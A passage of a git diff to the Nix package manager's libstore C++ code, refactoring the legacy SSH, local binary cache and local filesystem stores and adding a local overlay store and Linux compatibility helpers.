{ - auto conn(connections->get()); - return conn->remoteVersion; - } - - void queryRealisationUncached(const DrvOutput &, - Callback> callback) noexcept override - // TODO: Implement - { unsupported("queryRealisation"); } -}; static RegisterStoreImplementation regLegacySSHStore; diff --git a/src/libstore/legacy-ssh-store.hh b/src/libstore/legacy-ssh-store.hh new file mode 100644 index 000000000..b541455b4 --- /dev/null +++ b/src/libstore/legacy-ssh-store.hh @@ -0,0 +1,141 @@ +#pragma once +///@file + +#include "common-ssh-store-config.hh" +#include "store-api.hh" +#include "ssh.hh" +#include "callback.hh" +#include "pool.hh" + +namespace nix { + +struct LegacySSHStoreConfig : virtual CommonSSHStoreConfig +{ + using CommonSSHStoreConfig::CommonSSHStoreConfig; + + LegacySSHStoreConfig( + std::string_view scheme, + std::string_view authority, + const Params & params); + + const Setting remoteProgram{this, {"nix-store"}, "remote-program", + "Path to the `nix-store` executable on the remote machine."}; + + const Setting maxConnections{this, 1, "max-connections", + "Maximum number of concurrent SSH connections."}; + + const std::string name() override { return "SSH Store"; } + + static std::set uriSchemes() { return {"ssh"}; } + + std::string doc() override; +}; + +struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Store +{ +#ifndef _WIN32 + // Hack for getting remote build log output. + // Intentionally not in `LegacySSHStoreConfig` so that it doesn't appear in + // the documentation + const Setting logFD{this, INVALID_DESCRIPTOR, "log-fd", "file descriptor to which SSH's stderr is connected"}; +#else + Descriptor logFD = INVALID_DESCRIPTOR; +#endif + + struct Connection; + + ref> connections; + + SSHMaster master; + + LegacySSHStore( + std::string_view scheme, + std::string_view host, + const Params & params); + + ref openConnection(); + + std::string getUri() override; + + void queryPathInfoUncached(const StorePath & path, + Callback> callback) noexcept override; + + void addToStore(const ValidPathInfo & info, Source & source, + RepairFlag repair, CheckSigsFlag checkSigs) override; + + void narFromPath(const StorePath & path, Sink & sink) override; + + std::optional queryPathFromHashPart(const std::string & hashPart) override + { unsupported("queryPathFromHashPart"); } + + StorePath addToStore( + std::string_view name, + const SourcePath & path, + ContentAddressMethod method, + HashAlgorithm hashAlgo, + const StorePathSet & references, + PathFilter & filter, + RepairFlag repair) override + { unsupported("addToStore"); } + + virtual StorePath addToStoreFromDump( + Source & dump, + std::string_view name, + FileSerialisationMethod dumpMethod = FileSerialisationMethod::NixArchive, + ContentAddressMethod hashMethod = FileIngestionMethod::NixArchive, + HashAlgorithm hashAlgo = HashAlgorithm::SHA256, + const StorePathSet & references = StorePathSet(), + RepairFlag repair = NoRepair) override + { unsupported("addToStore"); } + +public: + + BuildResult buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, + BuildMode buildMode) override; + + void buildPaths(const std::vector & drvPaths, BuildMode buildMode, std::shared_ptr evalStore) override; + + void ensurePath(const StorePath & path) override + { unsupported("ensurePath"); } + + virtual ref getFSAccessor(bool requireValidPath) override + { unsupported("getFSAccessor"); } + + /** + * The default instance would schedule the work on the client side, but + * for consistency with `buildPaths` and `buildDerivation` it should happen + * on the remote side. + * + * We make this fail for now so we can add implement this properly later + * without it being a breaking change. + */ + void repairPath(const StorePath & path) override + { unsupported("repairPath"); } + + void computeFSClosure(const StorePathSet & paths, + StorePathSet & out, bool flipDirection = false, + bool includeOutputs = false, bool includeDerivers = false) override; + + StorePathSet queryValidPaths(const StorePathSet & paths, + SubstituteFlag maybeSubstitute = NoSubstitute) override; + + void connect() override; + + unsigned int getProtocol() override; + + /** + * The legacy ssh protocol doesn't support checking for trusted-user. + * Try using ssh-ng:// instead if you want to know. + */ + std::optional isTrustedClient() override + { + return std::nullopt; + } + + void queryRealisationUncached(const DrvOutput &, + Callback> callback) noexcept override + // TODO: Implement + { unsupported("queryRealisation"); } +}; + +} diff --git a/src/libstore/legacy-ssh-store.md b/src/libstore/legacy-ssh-store.md new file mode 100644 index 000000000..043acebd6 --- /dev/null +++ b/src/libstore/legacy-ssh-store.md @@ -0,0 +1,8 @@ +R"( + +**Store URL format**: `ssh://[username@]hostname` + +This store type allows limited access to a remote store on another +machine via SSH. + +)" diff --git a/src/libstore/length-prefixed-protocol-helper.hh b/src/libstore/length-prefixed-protocol-helper.hh new file mode 100644 index 000000000..0cf950a47 --- /dev/null +++ b/src/libstore/length-prefixed-protocol-helper.hh @@ -0,0 +1,162 @@ +#pragma once +/** + * @file Reusable serialisers for serialization container types in a + * length-prefixed manner. + * + * Used by both the Worker and Serve protocols. + */ + +#include "types.hh" + +namespace nix { + +struct StoreDirConfig; + +/** + * Reusable serialisers for serialization container types in a + * length-prefixed manner. + * + * @param T The type of the collection being serialised + * + * @param Inner This the most important parameter; this is the "inner" + * protocol. The user of this will substitute `MyProtocol` or similar + * when making a `MyProtocol::Serialiser>`. Note that the + * inside is allowed to call to call `Inner::Serialiser` on different + * types. This is especially important for `std::map` which doesn't have + * a single `T` but one `K` and one `V`. + */ +template +struct LengthPrefixedProtoHelper; + +/*! + * \typedef LengthPrefixedProtoHelper::S + * + * Read this as simply `using S = Inner::Serialise;`. + * + * It would be nice to use that directly, but C++ doesn't seem to allow + * it. The `typename` keyword needed to refer to `Inner` seems to greedy + * (low precedence), and then C++ complains that `Serialise` is not a + * type parameter but a real type. + * + * Making this `S` alias seems to be the only way to avoid these issues. + */ + +#define LENGTH_PREFIXED_PROTO_HELPER(Inner, T) \ + struct LengthPrefixedProtoHelper< Inner, T > \ + { \ + static T read(const StoreDirConfig & store, typename Inner::ReadConn conn); \ + static void write(const StoreDirConfig & store, typename Inner::WriteConn conn, const T & str); \ + private: \ + template using S = typename Inner::template Serialise; \ + } + +template +LENGTH_PREFIXED_PROTO_HELPER(Inner, std::vector); + +template +LENGTH_PREFIXED_PROTO_HELPER(Inner, std::set); + +template +LENGTH_PREFIXED_PROTO_HELPER(Inner, std::tuple); + +template +#define _X std::map +LENGTH_PREFIXED_PROTO_HELPER(Inner, _X); +#undef _X + +template +std::vector +LengthPrefixedProtoHelper>::read( + const StoreDirConfig & store, typename Inner::ReadConn conn) +{ + std::vector resSet; + auto size = readNum(conn.from); + while (size--) { + resSet.push_back(S::read(store, conn)); + } + return resSet; +} + +template +void +LengthPrefixedProtoHelper>::write( + const StoreDirConfig & store, typename Inner::WriteConn conn, const std::vector & resSet) +{ + conn.to << resSet.size(); + for (auto & key : resSet) { + S::write(store, conn, key); + } +} + +template +std::set +LengthPrefixedProtoHelper>::read( + const StoreDirConfig & store, typename Inner::ReadConn conn) +{ + std::set resSet; + auto size = readNum(conn.from); + while (size--) { + resSet.insert(S::read(store, conn)); + } + return resSet; +} + +template +void +LengthPrefixedProtoHelper>::write( + const StoreDirConfig & store, typename Inner::WriteConn conn, const std::set & resSet) +{ + conn.to << resSet.size(); + for (auto & key : resSet) { + S::write(store, conn, key); + } +} + +template +std::map +LengthPrefixedProtoHelper>::read( + const StoreDirConfig & store, typename Inner::ReadConn conn) +{ + std::map resMap; + auto size = readNum(conn.from); + while (size--) { + auto k = S::read(store, conn); + auto v = S::read(store, conn); + resMap.insert_or_assign(std::move(k), std::move(v)); + } + return resMap; +} + +template +void +LengthPrefixedProtoHelper>::write( + const StoreDirConfig & store, typename Inner::WriteConn conn, const std::map & resMap) +{ + conn.to << resMap.size(); + for (auto & i : resMap) { + S::write(store, conn, i.first); + S::write(store, conn, i.second); + } +} + +template +std::tuple +LengthPrefixedProtoHelper>::read( + const StoreDirConfig & store, typename Inner::ReadConn conn) +{ + return std::tuple { + S::read(store, conn)..., + }; +} + +template +void +LengthPrefixedProtoHelper>::write( + const StoreDirConfig & store, typename Inner::WriteConn conn, const std::tuple & res) +{ + std::apply([&](const Us &... args) { + (S::write(store, conn, args), ...); + }, res); +} + +} diff --git a/src/libstore/linux/fchmodat2-compat.hh b/src/libstore/linux/fchmodat2-compat.hh new file mode 100644 index 000000000..fd03b9ed5 --- /dev/null +++ b/src/libstore/linux/fchmodat2-compat.hh @@ -0,0 +1,34 @@ +/* + * Determine the syscall number for `fchmodat2`. + * + * On most platforms this is 452. Exceptions can be found on + * a glibc git checkout via `rg --pcre2 'define __NR_fchmodat2 (?!452)'`. + * + * The problem is that glibc 2.39 and libseccomp 2.5.5 are needed to + * get the syscall number. However, a Nix built against nixpkgs 23.11 + * (glibc 2.38) should still have the issue fixed without depending + * on the build environment. + * + * To achieve that, the macros below try to determine the platform and + * set the syscall number which is platform-specific, but + * in most cases 452. + * + * TODO: remove this when 23.11 is EOL and the entire (supported) ecosystem + * is on glibc 2.39. + */ + +#if HAVE_SECCOMP +# if defined(__alpha__) +# define NIX_SYSCALL_FCHMODAT2 562 +# elif defined(__x86_64__) && SIZE_MAX == 0xFFFFFFFF // x32 +# define NIX_SYSCALL_FCHMODAT2 1073742276 +# elif defined(__mips__) && defined(__mips64) && defined(_ABIN64) // mips64/n64 +# define NIX_SYSCALL_FCHMODAT2 5452 +# elif defined(__mips__) && defined(__mips64) && defined(_ABIN32) // mips64/n32 +# define NIX_SYSCALL_FCHMODAT2 6452 +# elif defined(__mips__) && defined(_ABIO32) // mips32 +# define NIX_SYSCALL_FCHMODAT2 4452 +# else +# define NIX_SYSCALL_FCHMODAT2 452 +# endif +#endif // HAVE_SECCOMP diff --git a/src/libstore/linux/meson.build b/src/libstore/linux/meson.build new file mode 100644 index 000000000..0c494b5d6 --- /dev/null +++ b/src/libstore/linux/meson.build @@ -0,0 +1,10 @@ +sources += files( + 'personality.cc', +) + +include_dirs += include_directories('.') + +headers += files( + 'fchmodat2-compat.hh', + 'personality.hh', +) diff --git a/src/libstore/linux/personality.cc b/src/libstore/linux/personality.cc new file mode 100644 index 000000000..255d174a6 --- /dev/null +++ b/src/libstore/linux/personality.cc @@ -0,0 +1,41 @@ +#include "personality.hh" +#include "globals.hh" + +#include +#include + +#include + +namespace nix::linux { + +void setPersonality(std::string_view system) +{ + /* Change the personality to 32-bit if we're doing an + i686-linux build on an x86_64-linux machine. */ + struct utsname utsbuf; + uname(&utsbuf); + if ((system == "i686-linux" + && (std::string_view(SYSTEM) == "x86_64-linux" + || (!strcmp(utsbuf.sysname, "Linux") && !strcmp(utsbuf.machine, "x86_64")))) + || system == "armv7l-linux" + || system == "armv6l-linux" + || system == "armv5tel-linux") + { + if (personality(PER_LINUX32) == -1) + throw SysError("cannot set 32-bit personality"); + } + + /* Impersonate a Linux 2.6 machine to get some determinism in + builds that depend on the kernel version. */ + if ((system == "i686-linux" || system == "x86_64-linux") && settings.impersonateLinux26) { + int cur = personality(0xffffffff); + if (cur != -1) personality(cur | 0x0020000 /* == UNAME26 */); + } + + /* Disable address space randomization for improved + determinism. */ + int cur = personality(0xffffffff); + if (cur != -1) personality(cur | ADDR_NO_RANDOMIZE); +} + +} diff --git a/src/libstore/linux/personality.hh b/src/libstore/linux/personality.hh new file mode 100644 index 000000000..6a6376f8f --- /dev/null +++ b/src/libstore/linux/personality.hh @@ -0,0 +1,12 @@ +#pragma once +///@file + +#include + +namespace nix::linux { + +void setPersonality(std::string_view system); + +} + + diff --git a/src/libstore/local-binary-cache-store.cc b/src/libstore/local-binary-cache-store.cc index f20b1fa02..dcc6affe4 100644 --- a/src/libstore/local-binary-cache-store.cc +++ b/src/libstore/local-binary-cache-store.cc @@ -1,36 +1,46 @@ -#include "binary-cache-store.hh" +#include "local-binary-cache-store.hh" #include "globals.hh" #include "nar-info-disk-cache.hh" +#include "signals.hh" #include namespace nix { -struct LocalBinaryCacheStoreConfig : virtual BinaryCacheStoreConfig +LocalBinaryCacheStoreConfig::LocalBinaryCacheStoreConfig( + std::string_view scheme, + PathView binaryCacheDir, + const Params & params) + : StoreConfig(params) + , BinaryCacheStoreConfig(params) + , binaryCacheDir(binaryCacheDir) { - using BinaryCacheStoreConfig::BinaryCacheStoreConfig; +} - const std::string name() override { return "Local Binary Cache Store"; } -}; -class LocalBinaryCacheStore : public virtual LocalBinaryCacheStoreConfig, public virtual BinaryCacheStore +std::string LocalBinaryCacheStoreConfig::doc() { -private: + return + #include "local-binary-cache-store.md" + ; +} - Path binaryCacheDir; - -public: +struct LocalBinaryCacheStore : virtual LocalBinaryCacheStoreConfig, virtual BinaryCacheStore +{ + /** + * @param binaryCacheDir `file://` is a short-hand for `file:///` + * for now. + */ LocalBinaryCacheStore( - const std::string scheme, - const Path & binaryCacheDir, + std::string_view scheme, + PathView binaryCacheDir, const Params & params) : StoreConfig(params) , BinaryCacheStoreConfig(params) - , LocalBinaryCacheStoreConfig(params) + , LocalBinaryCacheStoreConfig(scheme, binaryCacheDir, params) , Store(params) , BinaryCacheStore(params) - , binaryCacheDir(binaryCacheDir) { } @@ -41,8 +51,6 @@ public: return "file://" + binaryCacheDir; } - static std::set uriSchemes(); - protected: bool fileExists(const std::string & path) override; @@ -57,7 +65,7 @@ protected: AutoDelete del(tmp, false); StreamToSourceAdapter source(istream); writeFile(tmp, source); - renameFile(tmp, path2); + std::filesystem::rename(tmp, path2); del.cancel(); } @@ -76,18 +84,24 @@ protected: { StorePathSet paths; - for (auto & entry : readDirectory(binaryCacheDir)) { - if (entry.name.size() != 40 || - !hasSuffix(entry.name, ".narinfo")) + for (auto & entry : std::filesystem::directory_iterator{binaryCacheDir}) { + checkInterrupt(); + auto name = entry.path().filename().string(); + if (name.size() != 40 || + !hasSuffix(name, ".narinfo")) continue; paths.insert(parseStorePath( - storeDir + "/" + entry.name.substr(0, entry.name.size() - 8) + storeDir + "/" + name.substr(0, name.size() - 8) + "-" + MissingName)); } return paths; } + std::optional isTrustedClient() override + { + return Trusted; + } }; void LocalBinaryCacheStore::init() @@ -105,7 +119,7 @@ bool LocalBinaryCacheStore::fileExists(const std::string & path) return pathExists(binaryCacheDir + "/" + path); } -std::set LocalBinaryCacheStore::uriSchemes() +std::set LocalBinaryCacheStoreConfig::uriSchemes() { if (getEnv("_NIX_FORCE_HTTP") == "1") return {}; diff --git a/src/libstore/local-binary-cache-store.hh b/src/libstore/local-binary-cache-store.hh new file mode 100644 index 000000000..997e8ecbb --- /dev/null +++ b/src/libstore/local-binary-cache-store.hh @@ -0,0 +1,23 @@ +#include "binary-cache-store.hh" + +namespace nix { + +struct LocalBinaryCacheStoreConfig : virtual BinaryCacheStoreConfig +{ + using BinaryCacheStoreConfig::BinaryCacheStoreConfig; + + LocalBinaryCacheStoreConfig(std::string_view scheme, PathView binaryCacheDir, const Params & params); + + Path binaryCacheDir; + + const std::string name() override + { + return "Local Binary Cache Store"; + } + + static std::set uriSchemes(); + + std::string doc() override; +}; + +} diff --git a/src/libstore/local-binary-cache-store.md b/src/libstore/local-binary-cache-store.md new file mode 100644 index 000000000..93fddc840 --- /dev/null +++ b/src/libstore/local-binary-cache-store.md @@ -0,0 +1,16 @@ +R"( + +**Store URL format**: `file://`*path* + +This store allows reading and writing a binary cache stored in *path* +in the local filesystem. If *path* does not exist, it will be created. + +For example, the following builds or downloads `nixpkgs#hello` into +the local store and then copies it to the binary cache in +`/tmp/binary-cache`: + +``` +# nix copy --to file:///tmp/binary-cache nixpkgs#hello +``` + +)" diff --git a/src/libstore/local-fs-store.cc b/src/libstore/local-fs-store.cc index c5ae7536f..5449b20eb 100644 --- a/src/libstore/local-fs-store.cc +++ b/src/libstore/local-fs-store.cc @@ -1,5 +1,5 @@ #include "archive.hh" -#include "fs-accessor.hh" +#include "posix-source-accessor.hh" #include "store-api.hh" #include "local-fs-store.hh" #include "globals.hh" @@ -8,74 +8,76 @@ namespace nix { +LocalFSStoreConfig::LocalFSStoreConfig(PathView rootDir, const Params & params) + : StoreConfig(params) + // Default `?root` from `rootDir` if non set + // FIXME don't duplicate description once we don't have root setting + , rootDir{ + this, + !rootDir.empty() && params.count("root") == 0 + ? (std::optional{rootDir}) + : std::nullopt, + "root", + "Directory prefixed to all other paths."} +{ +} + LocalFSStore::LocalFSStore(const Params & params) : Store(params) { } -struct LocalStoreAccessor : public FSAccessor +struct LocalStoreAccessor : PosixSourceAccessor { ref store; + bool requireValidPath; - LocalStoreAccessor(ref store) : store(store) { } + LocalStoreAccessor(ref store, bool requireValidPath) + : store(store) + , requireValidPath(requireValidPath) + { } - Path toRealPath(const Path & path, bool requireValidPath = true) + CanonPath toRealPath(const CanonPath & path) { - auto storePath = store->toStorePath(path).first; + auto [storePath, rest] = store->toStorePath(path.abs()); if (requireValidPath && !store->isValidPath(storePath)) throw InvalidPath("path '%1%' is not a valid store path", store->printStorePath(storePath)); - return store->getRealStoreDir() + std::string(path, store->storeDir.size()); + return CanonPath(store->getRealStoreDir()) / storePath.to_string() / CanonPath(rest); } - FSAccessor::Stat stat(const Path & path) override + std::optional maybeLstat(const CanonPath & path) override { - auto realPath = toRealPath(path); + /* Handle the case where `path` is (a parent of) the store. */ + if (isDirOrInDir(store->storeDir, path.abs())) + return Stat{ .type = tDirectory }; - struct stat st; - if (lstat(realPath.c_str(), &st)) { - if (errno == ENOENT || errno == ENOTDIR) return {Type::tMissing, 0, false}; - throw SysError("getting status of '%1%'", path); - } - - if (!S_ISREG(st.st_mode) && !S_ISDIR(st.st_mode) && !S_ISLNK(st.st_mode)) - throw Error("file '%1%' has unsupported type", path); - - return { - S_ISREG(st.st_mode) ? Type::tRegular : - S_ISLNK(st.st_mode) ? Type::tSymlink : - Type::tDirectory, - S_ISREG(st.st_mode) ? (uint64_t) st.st_size : 0, - S_ISREG(st.st_mode) && st.st_mode & S_IXUSR}; + return PosixSourceAccessor::maybeLstat(toRealPath(path)); } - StringSet readDirectory(const Path & path) override + DirEntries readDirectory(const CanonPath & path) override { - auto realPath = toRealPath(path); - - auto entries = nix::readDirectory(realPath); - - StringSet res; - for (auto & entry : entries) - res.insert(entry.name); - - return res; + return PosixSourceAccessor::readDirectory(toRealPath(path)); } - std::string readFile(const Path & path, bool requireValidPath = true) override + void readFile( + const CanonPath & path, + Sink & sink, + std::function sizeCallback) override { - return nix::readFile(toRealPath(path, requireValidPath)); + return PosixSourceAccessor::readFile(toRealPath(path), sink, sizeCallback); } - std::string readLink(const Path & path) override + std::string readLink(const CanonPath & path) override { - return nix::readLink(toRealPath(path)); + return PosixSourceAccessor::readLink(toRealPath(path)); } }; -ref LocalFSStore::getFSAccessor() +ref LocalFSStore::getFSAccessor(bool requireValidPath) { return make_ref(ref( - std::dynamic_pointer_cast(shared_from_this()))); + std::dynamic_pointer_cast(shared_from_this())), + requireValidPath); } void LocalFSStore::narFromPath(const StorePath & path, Sink & sink) @@ -87,20 +89,8 @@ void LocalFSStore::narFromPath(const StorePath & path, Sink & sink) const std::string LocalFSStore::drvsLogDir = "drvs"; -std::optional LocalFSStore::getBuildLog(const StorePath & path_) +std::optional LocalFSStore::getBuildLogExact(const StorePath & path) { - auto path = path_; - - if (!path.isDerivation()) { - try { - auto info = queryPathInfo(path); - if (!info->deriver) return std::nullopt; - path = *info->deriver; - } catch (InvalidPath &) { - return std::nullopt; - } - } - auto baseName = path.to_string(); for (int j = 0; j < 2; j++) { diff --git a/src/libstore/local-fs-store.hh b/src/libstore/local-fs-store.hh index e6fb3201a..9bb569f0b 100644 --- a/src/libstore/local-fs-store.hh +++ b/src/libstore/local-fs-store.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "store-api.hh" #include "gc-store.hh" @@ -9,20 +10,33 @@ namespace nix { struct LocalFSStoreConfig : virtual StoreConfig { using StoreConfig::StoreConfig; - // FIXME: the (StoreConfig*) cast works around a bug in gcc that causes - // it to omit the call to the Setting constructor. Clang works fine - // either way. - const PathSetting rootDir{(StoreConfig*) this, true, "", - "root", "directory prefixed to all other paths"}; - const PathSetting stateDir{(StoreConfig*) this, false, - rootDir != "" ? rootDir + "/nix/var/nix" : settings.nixStateDir, - "state", "directory where Nix will store state"}; - const PathSetting logDir{(StoreConfig*) this, false, - rootDir != "" ? rootDir + "/nix/var/log/nix" : settings.nixLogDir, - "log", "directory where Nix will store state"}; - const PathSetting realStoreDir{(StoreConfig*) this, false, - rootDir != "" ? rootDir + "/nix/store" : storeDir, "real", - "physical path to the Nix store"}; + + /** + * Used to override the `root` settings. Can't be done via modifying + * `params` reliably because this parameter is unused except for + * passing to base class constructors. + * + * @todo Make this less error-prone with new store settings system. + */ + LocalFSStoreConfig(PathView path, const Params & params); + + const OptionalPathSetting rootDir{this, std::nullopt, + "root", + "Directory prefixed to all other paths."}; + + const PathSetting stateDir{this, + rootDir.get() ? *rootDir.get() + "/nix/var/nix" : settings.nixStateDir, + "state", + "Directory where Nix will store state."}; + + const PathSetting logDir{this, + rootDir.get() ? *rootDir.get() + "/nix/var/log/nix" : settings.nixLogDir, + "log", + "directory where Nix will store log files."}; + + const PathSetting realStoreDir{this, + rootDir.get() ? *rootDir.get() + "/nix/store" : storeDir, "real", + "Physical path of the Nix store."}; }; class LocalFSStore : public virtual LocalFSStoreConfig, @@ -31,16 +45,30 @@ class LocalFSStore : public virtual LocalFSStoreConfig, public virtual LogStore { public: + inline static std::string operationName = "Local Filesystem Store"; const static std::string drvsLogDir; LocalFSStore(const Params & params); void narFromPath(const StorePath & path, Sink & sink) override; - ref getFSAccessor() override; + ref getFSAccessor(bool requireValidPath = true) override; - /* Register a permanent GC root. */ - Path addPermRoot(const StorePath & storePath, const Path & gcRoot); + /** + * Creates symlink from the `gcRoot` to the `storePath` and + * registers the `gcRoot` as a permanent GC root. The `gcRoot` + * symlink lives outside the store and is created and owned by the + * user. + * + * @param gcRoot The location of the symlink. + * + * @param storePath The store object being rooted. The symlink will + * point to `toRealPath(store.printStorePath(storePath))`. + * + * How the permanent GC root corresponding to this symlink is + * managed is implementation-specific. + */ + virtual Path addPermRoot(const StorePath & storePath, const Path & gcRoot) = 0; virtual Path getRealStoreDir() { return realStoreDir; } @@ -50,7 +78,7 @@ public: return getRealStoreDir() + "/" + std::string(storePath, storeDir.size() + 1); } - std::optional getBuildLog(const StorePath & path) override; + std::optional getBuildLogExact(const StorePath & path) override; }; diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc new file mode 100644 index 000000000..ec2c5f4e9 --- /dev/null +++ b/src/libstore/local-overlay-store.cc @@ -0,0 +1,292 @@ +#include "local-overlay-store.hh" +#include "callback.hh" +#include "realisation.hh" +#include "processes.hh" +#include "url.hh" +#include + +namespace nix { + +std::string LocalOverlayStoreConfig::doc() +{ + return + #include "local-overlay-store.md" + ; +} + +Path LocalOverlayStoreConfig::toUpperPath(const StorePath & path) { + return upperLayer + "/" + path.to_string(); +} + +LocalOverlayStore::LocalOverlayStore(std::string_view scheme, PathView path, const Params & params) + : StoreConfig(params) + , LocalFSStoreConfig(path, params) + , LocalStoreConfig(params) + , LocalOverlayStoreConfig(scheme, path, params) + , Store(params) + , LocalFSStore(params) + , LocalStore(params) + , lowerStore(openStore(percentDecode(lowerStoreUri.get())).dynamic_pointer_cast()) +{ + if (checkMount.get()) { + std::smatch match; + std::string mountInfo; + auto mounts = readFile("/proc/self/mounts"); + auto regex = std::regex(R"((^|\n)overlay )" + realStoreDir.get() + R"( .*(\n|$))"); + + // Mount points can be stacked, so there might be multiple matching entries. + // Loop until the last match, which will be the current state of the mount point. + while (std::regex_search(mounts, match, regex)) { + mountInfo = match.str(); + mounts = match.suffix(); + } + + auto checkOption = [&](std::string option, std::string value) { + return std::regex_search(mountInfo, std::regex("\\b" + option + "=" + value + "( |,)")); + }; + + auto expectedLowerDir = lowerStore->realStoreDir.get(); + if (!checkOption("lowerdir", expectedLowerDir) || !checkOption("upperdir", upperLayer)) { + debug("expected lowerdir: %s", expectedLowerDir); + debug("expected upperdir: %s", upperLayer); + debug("actual mount: %s", mountInfo); + throw Error("overlay filesystem '%s' mounted incorrectly", + realStoreDir.get()); + } + } +} + + +void LocalOverlayStore::registerDrvOutput(const Realisation & info) +{ + // First do queryRealisation on lower layer to populate DB + auto res = lowerStore->queryRealisation(info.id); + if (res) + LocalStore::registerDrvOutput(*res); + + LocalStore::registerDrvOutput(info); +} + + +void LocalOverlayStore::queryPathInfoUncached(const StorePath & path, + Callback> callback) noexcept +{ + auto callbackPtr = std::make_shared(std::move(callback)); + + LocalStore::queryPathInfoUncached(path, + {[this, path, callbackPtr](std::future> fut) { + try { + auto info = fut.get(); + if (info) + return (*callbackPtr)(std::move(info)); + } catch (...) { + return callbackPtr->rethrow(); + } + // If we don't have it, check lower store + lowerStore->queryPathInfo(path, + {[path, callbackPtr](std::future> fut) { + try { + (*callbackPtr)(fut.get().get_ptr()); + } catch (...) { + return callbackPtr->rethrow(); + } + }}); + }}); +} + + +void LocalOverlayStore::queryRealisationUncached(const DrvOutput & drvOutput, + Callback> callback) noexcept +{ + auto callbackPtr = std::make_shared(std::move(callback)); + + LocalStore::queryRealisationUncached(drvOutput, + {[this, drvOutput, callbackPtr](std::future> fut) { + try { + auto info = fut.get(); + if (info) + return (*callbackPtr)(std::move(info)); + } catch (...) { + return callbackPtr->rethrow(); + } + // If we don't have it, check lower store + lowerStore->queryRealisation(drvOutput, + {[callbackPtr](std::future> fut) { + try { + (*callbackPtr)(fut.get()); + } catch (...) { + return callbackPtr->rethrow(); + } + }}); + }}); +} + + +bool LocalOverlayStore::isValidPathUncached(const StorePath & path) +{ + auto res = LocalStore::isValidPathUncached(path); + if (res) return res; + res = lowerStore->isValidPath(path); + if (res) { + // Get path info from lower store so upper DB genuinely has it. + auto p = lowerStore->queryPathInfo(path); + // recur on references, syncing entire closure. + for (auto & r : p->references) + if (r != path) + isValidPath(r); + LocalStore::registerValidPath(*p); + } + return res; +} + + +void LocalOverlayStore::queryReferrers(const StorePath & path, StorePathSet & referrers) +{ + LocalStore::queryReferrers(path, referrers); + lowerStore->queryReferrers(path, referrers); +} + + +void LocalOverlayStore::queryGCReferrers(const StorePath & path, StorePathSet & referrers) +{ + LocalStore::queryReferrers(path, referrers); +} + + +StorePathSet LocalOverlayStore::queryValidDerivers(const StorePath & path) +{ + auto res = LocalStore::queryValidDerivers(path); + for (auto p : lowerStore->queryValidDerivers(path)) + res.insert(p); + return res; +} + + +std::optional LocalOverlayStore::queryPathFromHashPart(const std::string & hashPart) +{ + auto res = LocalStore::queryPathFromHashPart(hashPart); + if (res) + return res; + else + return lowerStore->queryPathFromHashPart(hashPart); +} + + +void LocalOverlayStore::registerValidPaths(const ValidPathInfos & infos) +{ + // First, get any from lower store so we merge + { + StorePathSet notInUpper; + for (auto & [p, _] : infos) + if (!LocalStore::isValidPathUncached(p)) // avoid divergence + notInUpper.insert(p); + auto pathsInLower = lowerStore->queryValidPaths(notInUpper); + ValidPathInfos inLower; + for (auto & p : pathsInLower) + inLower.insert_or_assign(p, *lowerStore->queryPathInfo(p)); + LocalStore::registerValidPaths(inLower); + } + // Then do original request + LocalStore::registerValidPaths(infos); +} + + +void LocalOverlayStore::collectGarbage(const GCOptions & options, GCResults & results) +{ + LocalStore::collectGarbage(options, results); + + remountIfNecessary(); +} + + +void LocalOverlayStore::deleteStorePath(const Path & path, uint64_t & bytesFreed) +{ + auto mergedDir = realStoreDir.get() + "/"; + if (path.substr(0, mergedDir.length()) != mergedDir) { + warn("local-overlay: unexpected gc path '%s' ", path); + return; + } + + StorePath storePath = {path.substr(mergedDir.length())}; + auto upperPath = toUpperPath(storePath); + + if (pathExists(upperPath)) { + debug("upper exists: %s", path); + if (lowerStore->isValidPath(storePath)) { + debug("lower exists: %s", storePath.to_string()); + // Path also exists in lower store. + // We must delete via upper layer to avoid creating a whiteout. + deletePath(upperPath, bytesFreed); + _remountRequired = true; + } else { + // Path does not exist in lower store. + // So we can delete via overlayfs and not need to remount. + LocalStore::deleteStorePath(path, bytesFreed); + } + } +} + + +void LocalOverlayStore::optimiseStore() +{ + Activity act(*logger, actOptimiseStore); + + // Note for LocalOverlayStore, queryAllValidPaths only returns paths in upper layer + auto paths = queryAllValidPaths(); + + act.progress(0, paths.size()); + + uint64_t done = 0; + + for (auto & path : paths) { + if (lowerStore->isValidPath(path)) { + uint64_t bytesFreed = 0; + // Deduplicate store path + deleteStorePath(Store::toRealPath(path), bytesFreed); + } + done++; + act.progress(done, paths.size()); + } + + remountIfNecessary(); +} + + +LocalStore::VerificationResult LocalOverlayStore::verifyAllValidPaths(RepairFlag repair) +{ + StorePathSet done; + + auto existsInStoreDir = [&](const StorePath & storePath) { + return pathExists(realStoreDir.get() + "/" + storePath.to_string()); + }; + + bool errors = false; + StorePathSet validPaths; + + for (auto & i : queryAllValidPaths()) + verifyPath(i, existsInStoreDir, done, validPaths, repair, errors); + + return { + .errors = errors, + .validPaths = validPaths, + }; +} + + +void LocalOverlayStore::remountIfNecessary() +{ + if (!_remountRequired) return; + + if (remountHook.get().empty()) { + warn("'%s' needs remounting, set remount-hook to do this automatically", realStoreDir.get()); + } else { + runProgram(remountHook, false, {realStoreDir}); + } + + _remountRequired = false; +} + + +static RegisterStoreImplementation regLocalOverlayStore; + +} diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh new file mode 100644 index 000000000..63628abed --- /dev/null +++ b/src/libstore/local-overlay-store.hh @@ -0,0 +1,218 @@ +#include "local-store.hh" + +namespace nix { + +/** + * Configuration for `LocalOverlayStore`. + */ +struct LocalOverlayStoreConfig : virtual LocalStoreConfig +{ + LocalOverlayStoreConfig(const StringMap & params) + : LocalOverlayStoreConfig("local-overlay", "", params) + { } + + LocalOverlayStoreConfig(std::string_view scheme, PathView path, const Params & params) + : StoreConfig(params) + , LocalFSStoreConfig(path, params) + , LocalStoreConfig(scheme, path, params) + { + } + + const Setting lowerStoreUri{(StoreConfig*) this, "", "lower-store", + R"( + [Store URL](@docroot@/command-ref/new-cli/nix3-help-stores.md#store-url-format) + for the lower store. The default is `auto` (i.e. use the Nix daemon or `/nix/store` directly). + + Must be a store with a store dir on the file system. + Must be used as OverlayFS lower layer for this store's store dir. + )"}; + + const PathSetting upperLayer{(StoreConfig*) this, "", "upper-layer", + R"( + Directory containing the OverlayFS upper layer for this 